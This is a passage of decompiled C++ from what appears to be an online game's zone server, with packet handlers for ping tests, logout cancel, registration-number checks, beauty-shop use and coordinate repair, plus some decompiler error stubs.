"ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB : Packet Too Long", v11); } } --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB"); __security_check_cookie(v16); } //----- (004FA160) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 __int16 v5; // di@1 char *v6; // ebx@1 int v7; // ecx@1 int v8; // ebp@1 int v9; // edx@2 int v10; // eax@2 ZoneBaseSession *v11; // eax@4 ItemTotalInformation iti; // [sp+10h] [bp-80h]@2 unsigned int v13; // [sp+80h] [bp-10h]@5 int v14; // [sp+8Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (signed __int16)gpp.pp_Buffer; v6 = gpp.pp_Buffer + 2; v7 = (int)(gpp.pp_Buffer + 2); v14 = 0; *(_WORD *)gpp.pp_Buffer = 2067; PROTO_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB::operator_(v7, netcmd + 2); *((_WORD *)v6 + 24) = *((_WORD *)v4 + 2); *(_DWORD *)(v6 + 62) = timeGetTime(); v8 = (**((int (__stdcall ***)(_DWORD))v4 + 8884))(0); if ( *(_WORD *)(v8 + 8) == 2505 ) { *((_WORD *)v6 + 44) = 0; *(_DWORD *)(v6 + 90) = *(_DWORD *)v8; v9 = *(_DWORD *)(v8 + 4); *((_DWORD *)v6 + 26) = 0; *((_DWORD *)v6 + 27) = 0; *(_DWORD *)(v6 + 94) = v9; *((_WORD *)v6 + 51) = 2505; *((_WORD *)v6 + 50) = 9216; *((_WORD *)v6 + 49) = (_WORD)v6 + 112 - v5 - 2; *((_WORD *)v6 + 41) = *((_WORD *)v4 + 2); *((_DWORD *)v6 + 21) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); memcpy(&iti, (const void *)v8, 0x6Cu); *(_WORD *)((char *)&iti.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)(v8 + 108); BYTE3(iti.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v8 + 110); v10 = (*(int (__stdcall **)(SHINE_ITEM_STRUCT *))(**(_DWORD **)(v8 + 112) + 24))(&iti.iti_itemstruct); (*(void (__stdcall **)(SHINE_ITEM_STRUCT *, int))(**(_DWORD **)(v8 + 112) + 28))(&iti.iti_itemstruct, v10 + 1); ItemTotalInformation::iti_fill2buffer_atrib(&iti, *(ItemAttributeClass **)(v8 + 112), 0x9C9u, v6 + 112); *(_DWORD *)(v6 + 50) = timeGetTime(); if ( ProtocolPacket::pp_SetPacketLen(&gpp, len + 114) ) { v11 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v11); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB : Packet Too Long", len + 114); } } --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB"); __security_check_cookie(v13); } //----- (004FA330) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { char *v3; // ebx@1 ZoneBaseSession *v4; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 2070; memcpy(v3, &netcmd[1], 0x22u); *(_DWORD *)(v3 + 26) = timeGetTime(); *(_DWORD *)(v3 + 30) = timeGetTime(); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 36) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE : Packet Too Long", 36); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE"); } //----- (004FA430) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { char *v3; // ebx@1 ZoneBaseSession *v4; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 2069; memcpy(v3, &netcmd[1], 0x3Au); *(_DWORD *)(v3 + 38) = timeGetTime(); *(_DWORD *)(v3 + 26) = timeGetTime(); if ( ProtocolPacket::pp_SetPacketLen(&gpp, len + 60) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB : Packet Too Long", len + 60); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB"); } //----- (004FA530) -------------------------------------------------------- #error "4FA530: undefined or illegal type '#325' (funcsize=94)" //----- (004FA680) -------------------------------------------------------- #error "4FA680: undefined or illegal type '#325' (funcsize=71)" //----- (004FA790) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB(GameDBSession *this, NETCOMMAND *netcmd, int len) { char *v3; // ebx@1 ZoneBaseSession *v4; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 2069; memcpy(v3, &netcmd[1], 0x3Au); *(_DWORD *)(v3 + 30) = timeGetTime(); *(_DWORD *)(v3 + 34) = timeGetTime(); if ( ProtocolPacket::pp_SetPacketLen(&gpp, len + 60) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB : Packet Too Long", len + 60); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB"); } //----- (004FA890) -------------------------------------------------------- #error "4FA890: undefined or illegal type '#325' (funcsize=61)" //----- (004FA990) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S89_1 & 1) ) { _S89_1 |= 1u; cmc_76.cmc_AllowMode = 126; atexit(_E90_0); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_76.cmc_AllowMode ) { *((_DWORD *)v4 + 23041) = 0; *((_DWORD *)v4 + 23042) = ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime; *((_DWORD *)v4 + 23045) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)v4 + 23044) = 0; *((_DWORD *)v4 + 23046) = -1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD"); } //----- (004FAA80) -------------------------------------------------------- #error "4FAA80: undefined or illegal type '#325' (funcsize=56)" //----- (004FAB50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_NC_MISC_WHSHANDLEREPAIR_CMD(void *this, int repair) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_NC_MISC_WHSHANDLEREPAIR_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_NC_MISC_WHSHANDLEREPAIR_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_WORD *)v2 + 44570) = *(_WORD *)(repair + 8); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_NC_MISC_WHSHANDLEREPAIR_CMD"); } //----- (004FABC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_SERVERPARAMETER_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // eax@1 int v6; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_SERVERPARAMETER_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MISC_SERVERPARAMETER_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2096; v5[2] = LOBYTE(shineparam.scp_param.shoutlevel); *(_WORD *)(v5 + 3) = LOWORD(shineparam.scp_param.shoutdelay); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v4, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_ServerMenuOpen : Packet Too Long", 5); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_SERVERPARAMETER_REQ"); } //----- (004FACB0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::sp_LinkReservStore(int this, const void *lnkinf) { unsigned __int16 v2; // cx@1 v2 = *(_WORD *)(this + 4); queue_linkreserv.mq_Pointer.value = queue_linkreserv.mq_Pointer.mask & (queue_linkreserv.mq_Pointer.value + 1); queue_linkreserv.mq_Buffer[queue_linkreserv.mq_Pointer.value].handle = v2; memcpy( &queue_linkreserv.mq_Buffer[queue_linkreserv.mq_Pointer.value].content, lnkinf, sizeof(queue_linkreserv.mq_Buffer[queue_linkreserv.mq_Pointer.value].content)); return LOWORD(queue_linkreserv.mq_Pointer.value); } //----- (004FAD00) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_LinkReservFind(int this, unsigned __int16 pointer) { char *v2; // eax@2 int result; // eax@4 if ( pointer < 0x80u && (v2 = (char *)&queue_linkreserv + 104 * pointer) != 0 && *(_WORD *)v2 == *(_WORD *)(this + 4) ) result = (int)(v2 + 2); else result = 0; return result; } //----- (004FAD30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_RegistNumberVarification(void *this) { void *v1; // edi@1 char *v2; // esi@1 int v3; // eax@1 ZoneBaseSession *v4; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RegistNumberVarification"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RegistNumberVarification"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4275; *((_WORD *)v2 + 1) = *((_WORD *)v1 + 2); v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1352))(v1); *((_DWORD *)v2 + 1) = *(_DWORD *)v3; *((_DWORD *)v2 + 2) = *(_DWORD *)(v3 + 4); *((_DWORD *)v2 + 3) = *(_DWORD *)(v3 + 8); *((_DWORD *)v2 + 4) = *(_DWORD *)(v3 + 12); *((_DWORD *)v2 + 5) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 24) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_RegistNumberVarification : Packet Too Long", 24); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RegistNumberVarification"); } //----- (004FAE40) -------------------------------------------------------- #error "4FAE40: undefined or illegal type '#325' (funcsize=51)" //----- (004FAF10) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineObject::so_ply_RegistNumberVarifyCheck(int varif_ack) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_RegistNumberVarifyCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_RegistNumberVarifyCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_RegistNumberVarifyCheck"); return 0; } //----- (004FAF60) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_RegistNumberVarifyCheck(void *this, int varif_ack) { void *v2; // esi@1 char *v3; // edi@5 DebugLogging *v4; // ebp@5 _iobuf *v5; // eax@7 DebugLogging *v6; // ebp@9 _iobuf *v7; // eax@11 DebugLogging *v8; // eax@13 DebugLogging *v9; // eax@13 DebugLogging *v10; // eax@13 char result; // al@13 unsigned int v12; // eax@15 char *v13; // eax@15 char *v14; // ST14_4@15 int v15; // ST0C_4@15 int v16; // ST04_4@15 DebugLogging *v17; // eax@15 DebugLogging *v18; // eax@15 DebugLogging *v19; // eax@15 DebugLogging *v20; // eax@15 DebugLogging *v21; // eax@15 DebugLogging *v22; // eax@15 DebugLogging *v23; // eax@15 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RegistNumberVarifyCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_RegistNumberVarifyCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S96_1 & 1) ) { _S96_1 |= 1u; DebugLogging::DebugLogging(&InvalidRegistLog, "InvalidRegistLog"); atexit(_E97_1); } if ( *(_DWORD *)((char *)v2 + 32021) == *(_DWORD *)(varif_ack + 2) ) { if ( *(_BYTE *)(varif_ack + 6) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RegistNumberVarifyCheck"); result = 1; } else { v12 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v12; v13 = (char *)&namestring + 256 * v12; *(_DWORD *)v13 = *(_DWORD *)((char *)v2 + 32025); *((_DWORD *)v13 + 1) = *(_DWORD *)((char *)v2 + 32029); *((_DWORD *)v13 + 2) = *(_DWORD *)((char *)v2 + 32033); v14 = v13; *((_DWORD *)v13 + 3) = *(_DWORD *)((char *)v2 + 32037); v13[16] = 0; v15 = *(_DWORD *)(varif_ack + 2); v16 = *(_DWORD *)((char *)v2 + 32021); v17 = DebugLogging::operator<<(&InvalidRegistLog, "Incorrect bit "); v18 = DebugLogging::operator<<(v17, v16); v19 = DebugLogging::operator<<(v18, (char *)&stru_5AB5B0); v20 = DebugLogging::operator<<(v19, v15); v21 = DebugLogging::operator<<(v20, " / "); v22 = DebugLogging::operator<<(v21, v14); v23 = DebugLogging::operator<<(v22, (char *)&stru_5AB5B0); DebugLogging::operator<<(v23, &deb_LF); **((_BYTE **)v2 + 929) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RegistNumberVarifyCheck"); result = 0; } } else { namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v3 = (char *)&namestring + 256 * namestring.ns_point.value; *(_DWORD *)v3 = *(_DWORD *)((char *)v2 + 32025); *((_DWORD *)v3 + 1) = *(_DWORD *)((char *)v2 + 32029); *((_DWORD *)v3 + 2) = *(_DWORD *)((char *)v2 + 32033); *((_DWORD *)v3 + 3) = *(_DWORD *)((char *)v2 + 32037); v3[16] = 0; v4 = DebugLogging::operator<<(&InvalidRegistLog, "Regist number invalid "); if ( DebugLogging::dl_ActivAll ) { if ( v4->dl_Activ ) { DebugLogging::dl_FilePoint(v4); v5 = v4->dl_FilePointer; if ( v5 ) fprintf(v5, "%d"); } } v6 = DebugLogging::operator<<(v4, (char *)&stru_5AB5B0); if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } } v8 = DebugLogging::operator<<(v6, " / "); v9 = DebugLogging::operator<<(v8, v3); v10 = DebugLogging::operator<<(v9, (char *)&stru_5AB5B0); DebugLogging::operator<<(v10, &deb_LF); **((_BYTE **)v2 + 929) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RegistNumberVarifyCheck"); result = 0; } return result; } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004FB260) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_USE_BEAUTY_SHOP_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_USER_USE_BEAUTY_SHOP_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_USER_USE_BEAUTY_SHOP_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = 3122; (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 816))(v4, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_USER_USE_BEAUTY_SHOP_CMD"); } //----- (004FB310) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_RefreshWMSSocket(void *this) { void *v1; // esi@1 char *v2; // edi@2 ZoneBaseSession *v3; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RefreshWMSSocket"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RefreshWMSSocket"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 820))(v1) == 1 ) { v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 3121; *((_WORD *)v2 + 1) = -1; *((_DWORD *)v2 + 1) = -1; *(_DWORD *)(v2 + 10) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); *((_WORD *)v2 + 4) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 832))(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v3); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_RefreshWMSSocket : Packet Too Long", 14); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RefreshWMSSocket"); } //----- (004FB420) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_TONORMALCOORD_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_TONORMALCOORD_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MAP_TONORMALCOORD_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 2492))(v4, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_TONORMALCOORD_CMD"); } //----- (004FB4C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc(void *this, int flag) { void *v2; // edi@1 int v3; // ebp@1 unsigned int v4; // eax@3 char *v5; // eax@3 FieldOption::FieldAttr *v6; // ebx@3 int v7; // eax@4 int v8; // ecx@4 int v9; // edx@4 unsigned int v10; // eax@4 int v11; // ST10_4@4 char *v12; // eax@4 int v13; // ST08_4@4 DebugLogging *v14; // eax@4 DebugLogging *v15; // eax@4 DebugLogging *v16; // eax@4 DebugLogging *v17; // eax@4 DebugLogging *v18; // eax@4 int v19; // eax@4 int v20; // ecx@4 char *v21; // esi@4 ZoneBaseSession *v22; // eax@9 char *v23; // eax@10 int v24; // ecx@10 ZoneBaseSession *v25; // eax@12 char *v26; // [sp-14h] [bp-90h]@2 int lnkinf_86; // [sp+5Ah] [bp-22h]@4 int lnkinf_90; // [sp+5Eh] [bp-1Eh]@4 unsigned int v29; // [sp+6Ch] [bp-10h]@0 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)((char *)v2 + 98); if ( v3 ) { v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)v3; *((_DWORD *)v5 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v3 + 8); v5[12] = 0; v6 = FieldOption::fo_GetFieldAttr(&::this, v5); if ( v6 ) { v7 = *(_DWORD *)((char *)v2 + 78); v8 = *(_DWORD *)(v7 + 4); v9 = *(_DWORD *)v7; v10 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v10; v11 = v8; v12 = (char *)&namestring + 256 * v10; *(_DWORD *)v12 = *(_DWORD *)v3; v13 = v9; *((_DWORD *)v12 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v12 + 2) = *(_DWORD *)(v3 + 8); v12[12] = 0; v14 = DebugLogging::operator<<(&CoordRepairLog, v12); v15 = DebugLogging::operator<<(v14, (char *)&stru_5AB5B0); v16 = DebugLogging::operator<<(v15, v13); v17 = DebugLogging::operator<<(v16, (char *)&stru_5AB5B0); v18 = DebugLogging::operator<<(v17, v11); DebugLogging::operator<<(v18, &deb_LF); v19 = *(_DWORD *)&v6->regenloc[0].PKer; v20 = *(_DWORD *)&v6->regenloc[0].Summoned; v21 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 16387; lnkinf_86 = v19; lnkinf_90 = v20; *((_WORD *)v21 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v21 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *((_DWORD *)v21 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); if ( v6->KingdomQuestMap ) { *((_DWORD *)v21 + 3) = *(_DWORD *)&v6->regencity.n3_name[0]; *((_DWORD *)v21 + 4) = *(_DWORD *)&v6->regencity.n3_name[4]; *((_DWORD *)v21 + 5) = *(_DWORD *)&v6->regencity.n3_name[8]; *((_DWORD *)v21 + 6) = *(_DWORD *)&v6->regenloc[0].PKer; *((_DWORD *)v21 + 7) = *(_DWORD *)&v6->regenloc[0].Summoned; } else { *((_DWORD *)v21 + 3) = *(_DWORD *)v3; *((_DWORD *)v21 + 4) = *(_DWORD *)(v3 + 4); *((_DWORD *)v21 + 5) = *(_DWORD *)(v3 + 8); *((_DWORD *)v21 + 6) = lnkinf_86; *((_DWORD *)v21 + 7) = lnkinf_90; } *((_DWORD *)v21 + 8) = -1; *((_DWORD *)v21 + 11) = 0; *((_DWORD *)v21 + 10) = 0; *((_DWORD *)v21 + 9) = 0; strncpy(v21 + 36, byte_5A62A6, 0xCu); *((_DWORD *)v21 + 12) = 0; *((_DWORD *)v21 + 13) = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 56) ) { v22 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v22); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc : Packet Too Long", 56); } v23 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 1514; *(_DWORD *)(v23 + 2) = *((_DWORD *)v21 + 2); *(_DWORD *)(v23 + 6) = *((_DWORD *)v21 + 3); *(_DWORD *)(v23 + 10) = *((_DWORD *)v21 + 4); *(_DWORD *)(v23 + 14) = *((_DWORD *)v21 + 5); *(_DWORD *)(v23 + 18) = *((_DWORD *)v21 + 6); *(_DWORD *)(v23 + 22) = *((_DWORD *)v21 + 7); *(_DWORD *)(v23 + 26) = -1; v24 = *(_DWORD *)((char *)v2 + 78); *(_DWORD *)(v23 + 30) = *(_DWORD *)v24; *(_DWORD *)(v23 + 34) = *(_DWORD *)(v24 + 4); *((_WORD *)v23 + 19) = 9999; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 40) ) { v25 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gamelog); ProtocolPacket::pp_SendPacket(&gpp, v25); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc : Packet Too Long", 40); } **((_BYTE **)v2 + 929) = 0; (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 816))(v2, 1); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 824))(v2); (*(void (__thiscall **)(void *, signed int, _DWORD, _DWORD))(*(_DWORD *)v2 + 1464))(v2, 1669, 0, 0); } v26 = "ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc"; } else { v26 = "ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v26); __security_check_cookie(v29); } //----- (004FB7E0) -------------------------------------------------------- void __thiscall ProtocolLogger::pl_Store(ProtocolLogger *this, NETCOMMAND 